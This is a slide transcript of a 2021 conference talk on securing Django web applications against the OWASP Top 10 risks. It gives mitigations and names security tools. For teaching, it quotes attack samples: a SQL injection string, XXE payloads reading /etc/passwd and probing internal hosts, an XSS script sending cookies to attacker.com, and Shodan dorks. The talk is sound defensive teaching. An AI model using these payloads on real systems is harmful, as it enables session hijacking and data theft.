Securing Django Applications

Talk presented at DjangoCongress JP 2021 on July 3rd, 2021

Transcript

1. Gajendra Deshpande KLS Gogte Institute of Technology, India https://gcdeshpande.github.io Securing Django Applications DjangoCongress Japan 2021
2. Outline of the Talk  Security aspects of Django web applications  Penetration testing of Django web applications  Overview of OWASP Top 10 risks  DjangoHunter and DjangoGoat  Strategies and configuration settings to make Django Application secure
7. OWASP Top 10 Vulnerabilities  Injection  Broken authentication  Sensitive data exposure  XML external entities (XXE)  Broken access control  Security misconfigurations  Cross site scripting (XSS)  Insecure deserialization  Using components with known vulnerabilities  Insufficient logging and monitoring
8. Injection  SQL injection is a type of attack where a malicious user is able to execute arbitrary SQL code on a database. This can result in records being deleted or data leakage.  Injection vulnerabilities are often found in SQL, LDAP, XPath, or NoSQL queries, OS commands, XML parsers, SMTP headers, expression languages, and ORM queries.  Injection can result in data loss, corruption, or disclosure to unauthorized parties, loss of accountability, or denial of access. Injection can sometimes lead to complete host takeover. String query = “SELECT * FROM accounts WHERE custID = ‘” + request.getParameter(“id”) + “‘”; http://example.com/app/accountView?id=’ or ‘1’=’1  extra() and RawSQL : Enable the developer to write custom queries in Django.
9. SQL Injection Protection  Query Parameterization by default in Django  Use extra() and RawSQL with caution  Use positive or “whitelist” server-side input validation. (May not be a complete defence)
10. Broken Authentication  Attackers have access to hundreds of millions of valid username and password combinations for credential stuffing, default administrative account lists, automated brute force, and dictionary attack tools.  Session management attacks.  Attackers have to gain access to only a few accounts, or just one admin account to compromise the system.  Credential stuffing, the use of lists of known passwords, is a common attack  Most authentication attacks occur due to the continued use of passwords as a sole factor.  Application session timeouts aren’t set properly.
11. Broken Authentication Protection  Where possible, implement multi-factor authentication to prevent automated, credential stuffing, brute force, and stolen credential re-use attacks.  Do not ship or deploy with any default credentials, particularly for admin users.  Implement weak-password checks, such as testing new or changed passwords against a list of the top 10000 worst passwords.  Align password length, complexity and rotation policies with NIST 800-63 B’s guidelines in section 5.1.1 for Memorized Secrets or other modern, evidence based password policies.  Ensure registration, credential recovery, and API pathways are hardened against account enumeration attacks by using the same messages for all outcomes.  Limit or increasingly delay failed login attempts. Log all failures and alert administrators when credential stuffing, brute force, or other attacks are detected.  Use a server-side, secure, built-in session manager that generates a new random session ID with high entropy after login. Session IDs should not be in the URL, be securely stored and invalidated after logout, idle, and absolute timeouts.
12. Broken Authentication Protection  One Time Passwords for Django https://pypi.org/project/django-otp/  Two Factor Authentication for Django https://pypi.org/project/django-two-factor-auth/  Django user sessions management https://pypi.org/project/django-user-sessions/
13. Sensitive Data Exposure  Rather than directly attacking crypto, attackers steal keys, execute man-in-the- middle attacks, or steal clear text data off the server, while in transit, or from the user’s client, e.g. browser. A manual attack is generally required.  An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing a SQL injection flaw to retrieve credit card numbers in clear text.  A site doesn’t use or enforce TLS for all pages or supports weak encryption.  The password database uses unsalted or simple hashes to store everyone’s passwords.
14. Sensitive Data Exposure  Classify data processed, stored or transmitted by an application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs. Apply controls as per the classification.  Don’t store sensitive data unnecessarily. Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data that is not retained cannot be stolen.  Make sure to encrypt all sensitive data at rest.  Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key management.  Encrypt all data in transit with secure protocols such as TLS with perfect forward secrecy (PFS) ciphers, cipher prioritization by the server, and secure parameters. Enforce encryption using directives like HTTP Strict Transport Security (HSTS).  Disable caching for response that contain sensitive data.  Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as Argon2, scrypt, bcrypt or PBKDF2.  Verify independently the effectiveness of configuration and settings.
15. SSL/TLS Settings for Django  Production.py CORS_REPLACE_HTTPS_REFERER = True HOST_SCHEME = "https://" SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') SECURE_SSL_REDIRECT = True SESSION_COOKIE_SECURE = True CSRF_COOKIE_SECURE = True SECURE_HSTS_INCLUDE_SUBDOMAINS = True SECURE_HSTS_SECONDS = 1000000 SECURE_FRAME_DENY = True Source: https://www.codingforentrepreneurs.com/blog/ssltls-settings-for-django/
16. Sensitive Data Exposure Protection  Wrap standard Django fields with encryption provided by the python cryptography library. https://pypi.org/project/django-encrypted-model-fields/  A set of primitives for easily encrypting data in Django, wrapping the Python Cryptography library. https://pypi.org/project/django-cryptography/  Fernet symmetric encryption for Django model fields, using the cryptography library. https://pypi.python.org/pypi/django-fernet-fields/
17. XML External Entities  Attackers can exploit vulnerable XML processors if they can upload XML or include hostile content in an XML document, exploiting vulnerable code, dependencies or integrations.  These flaws can be used to extract data, execute a remote request from the server, scan internal systems, perform a denial-of-service attack, as well as execute other attacks.
18. XML External Entities  The attacker attempts to extract data from the server: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>  An attacker probes the server’s private network by changing the above ENTITY line to: <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>  An attacker attempts a denial-of-service attack by including a potentially endless file: <!ENTITY xxe SYSTEM "file:///dev/random" >]>
19. XML External Entities Protection  Whenever possible, use less complex data formats such as JSON, and avoiding serialization of sensitive data.  Disable XML external entity and DTD processing in all XML parsers in the application.  Implement positive (“whitelisting”) server-side input validation, filtering, or sanitization to prevent hostile data within XML documents, headers, or nodes.  Verify that XML or XSL file upload functionality validates incoming XML using XSD validation or similar
20. XML External Entities Protection  Shadow Daemon is a collection of tools to detect, record, and block attacks on web applications. Technically speaking, Shadow Daemon is a web application firewall that intercepts requests and filters out malicious parameters. It is a modular system that separates web application, analysis, and interface to increase security, flexibility, and expandability.  Shadow Daemon is free software  Supports Python, Django and Flask. (Also PHP, Perl) https://shadowd.zecure.org/overview/introduction/
21. Broken Access Control  The application uses unverified data in a SQL call that is accessing account information: pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); An attacker simply modifies the ‘acct’ parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user’s account. http://example.com/app/accountInfo?acct=notmyacct  An attacker simply force browses to target URLs. Admin rights are required for access to the admin page. http://example.com/app/getappInfo http://example.com/app/admin_getappInfo If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw.
22. Broken Access Control Protection  Access control is only effective if enforced in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata. With the exception of public resources, deny by default.  Disable web server directory listing and ensure file metadata (e.g. .git) and backup files are not present within web roots.  Log access control failures, alert admins when appropriate (e.g. repeated failures).  Django User Management https://pypi.org/project/django-user-management/
23. Security Misconfigurations  Attackers will often attempt to exploit unpatched flaws or access default accounts, unused pages, unprotected files and directories, etc to gain unauthorized access or knowledge of the system.  Security misconfiguration can happen at any level of an application stack, including the network services, platform, web server, application server, database, frameworks, custom code, and pre-installed virtual machines, containers, or storage. Automated scanners are useful for detecting misconfigurations, use of default accounts or configurations, unnecessary services, legacy options, etc.  The application server comes with sample applications that are not removed from the production server.  Directory listing is not disabled on the server.  The application server’s configuration allows detailed error messages, e.g. stack traces, to be returned to users.  A cloud service provider has default sharing permissions open to the Internet by other CSP users.
24. Security Misconfigurations Protection  Django Hardening  Disable Directory Listing  Use automated scanners  Customize error messages to hide sensitive information
25. Cross Site Scripting  The application uses untrusted data in the construction of the following HTML snippet without validation or escaping: (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>"; The attacker modifies the ‘CC’ parameter in the browser to: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.  This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.  Note: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defence the application might employ.
26. Cross Site Scripting Protection  Using Django templates protects you against the majority of XSS attacks. There are exceptions.  Django templates escape specific characters which are particularly dangerous to HTML. While this protects users from most malicious input, it is not entirely foolproof. For example, it will not protect the following: <style class={{ var }}>...</style>  It is also important to be particularly careful when using is_safe with custom template tags, the safe template tag, mark_safe, and when autoescape is turned off.  You should also be very careful when storing HTML in the database, especially when that HTML is retrieved and displayed.
27. Insecure deserialization  Applications and APIs will be vulnerable if they deserialize hostile or tampered objects supplied by an attacker. This can result in two primary types of attacks:  Object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization.  Typical data tampering attacks such as access-control-related attacks where existing data structures are used but the content is changed.  Serialization may be used in applications for:  Remote- and inter-process communication (RPC/IPC)  Wire protocols, web services, message brokers  Caching/Persistence  Databases, cache servers, file systems  HTTP cookies, HTML form parameters, API authentication tokens
28. Insecure deserialization Protection  The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types.  Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering. https://pypi.org/project/django-jsignature/  Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.  Isolating and running code that deserializes in low privilege environments when possible.  Log deserialization exceptions and failures,
29. Using components with known vulnerabilities  Component-heavy development patterns can lead to development teams not even understanding which components they use in their application or API, much less keeping them up to date.  Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g. coding error) or intentional (e.g. backdoor in component).
30. Using components with known vulnerabilities Protection  There should be a patch management process in place to:  Remove unused dependencies, unnecessary features, components, files, and documentation.  Continuously inventory the versions of both client-side and server-side components (e.g. frameworks, libraries) and their dependencies using tools like versions, DependencyCheck, etc. Continuously monitor sources such as CVE and NVD for vulnerabilities in the components.  Only obtain components from official sources over secure links.  Use tools like Shodan and DjangoHunter.
31. Insufficient logging and monitoring  Exploitation of insufficient logging and monitoring is the bedrock of nearly every major incident. Attackers rely on the lack of monitoring and timely response to achieve their goals without being detected.  One strategy for determining if you have sufficient monitoring is to examine the logs following penetration testing. The testers’ actions should be recorded sufficiently to understand what damages they may have inflicted.
32. Insufficient logging and monitoring Protection  Ensure all login, access control failures, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts, and held for sufficient time to allow delayed forensic analysis.  Ensure that logs are generated in a format that can be easily consumed by a centralized log management solutions.  Ensure high-value transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or similar.  Establish effective monitoring and alerting such that suspicious activities are detected and responded to in a timely fashion.
33. Djangohunter  Tool designed to help identify incorrectly configured Django applications that are exposing sensitive information. Usage: python3 djangohunter.py --key {shodan} Dorks: 'DisallowedHost', 'KeyError', 'OperationalError', 'Page not found at /‘ https://github.com/jimywork/djangohunter
34. Djangogoat  An intentionally vulnerable Django app, to help Django developers learn security testing.  https://github.com/red-and-black/DjangoGoat
35. Django Security Resources Collection of Django Security Resources https://github.com/vintasoftware/awesome-django-security Django Security Documentation https://docs.djangoproject.com/en/3.2/topics/security/
36. Summary  Since Django is a web framework it maps to OWASP Top 10 Vulnerabilities. It has built-in modules to build secure Django web applications.  Security of the application and data is not only the responsibility of developer. The user is also equally responsible for the security of data and accounts.
38. Widescreen Test Pattern (16:9) Aspect Ratio Test (Should appear circular) 16x9 4x3